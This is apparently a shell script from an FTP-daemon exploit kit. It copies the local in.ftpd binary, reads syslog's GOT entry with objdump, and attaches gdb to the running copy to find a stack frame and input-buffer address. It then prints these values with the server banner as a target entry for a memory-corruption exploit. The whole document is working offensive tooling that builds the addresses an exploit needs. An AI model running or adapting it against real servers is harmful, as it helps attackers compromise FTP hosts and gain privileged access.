#!/bin/sh
echo '// I assume you have checked localhost is vulnerable.' >&2
echo '// Please wait...' >&2
echo '//' >&2
[ ! -r /usr/sbin/in.ftpd ] && (echo "Can't read /usr/sbin/in.ftpd" >&2 ) && exit 1
sed "s/connected/meep-meep/g" < /usr/sbin/in.ftpd >./copied
chmod +x ./copied
GOT=`objdump -R ./copied|grep syslog|awk  '{  print "0x"$1; }'`
[ -z $GOT ] && (echo 'Error getting GOT address for syslog' >&2 ) && exit 1
killall -9 copied 2>/dev/null
./copied -p 6667 -P 6668 -l -A -S
sleep 1
(sleep 30|nc localhost 6667 |head -1| tr "\n" " "|tr "\r" " " >thisbanner)&
sleep 1
PID=`ps -ax|grep 'meep-meep: '|grep -v grep|awk '{ print $1; }'` 
[ -z $PID ] && (echo 'Failed to get pid.' >&2 ;killall -9 copied) && exit 1
(echo attach $PID;echo bt;echo quit;echo y) >./gdbscript
FRAME=`gdb ./copied -x ./gdbscript |grep " 0x0*8"|head -1|awk '{ print $1; }'|sed "s/\#//"`
[ -z $FRAME ] && (echo 'Failed to get frame.' >&2 ;killall -9 copied) &&exit 1
(echo attach $PID;echo frame $FRAME;echo x/x \$ebp + 8;echo quit;echo y) >./gdbscript
INPBUF=`gdb ./copied -x ./gdbscript |grep "^0xbf"|head -1|awk '{ print $2; }'|sed "s/\#//"`
[ -z $INPBUF ] && (echo 'Failed to get inpbuf.' >&2 ;killall -9 copied) && exit 1
killall -9 copied
[ -x /usr/sbin/xinetd ] && INETD=0 || INETD=1
echo -n \"
cat thisbanner|sed -e "s/.*Version/Ver/" -e "s/) ready.*//"
echo \",
echo $GOT, $INPBUF, $INETD,
rm ./gdbscript ./thisbanner ./copied
echo '//' >&2
echo '// Done.' >&2
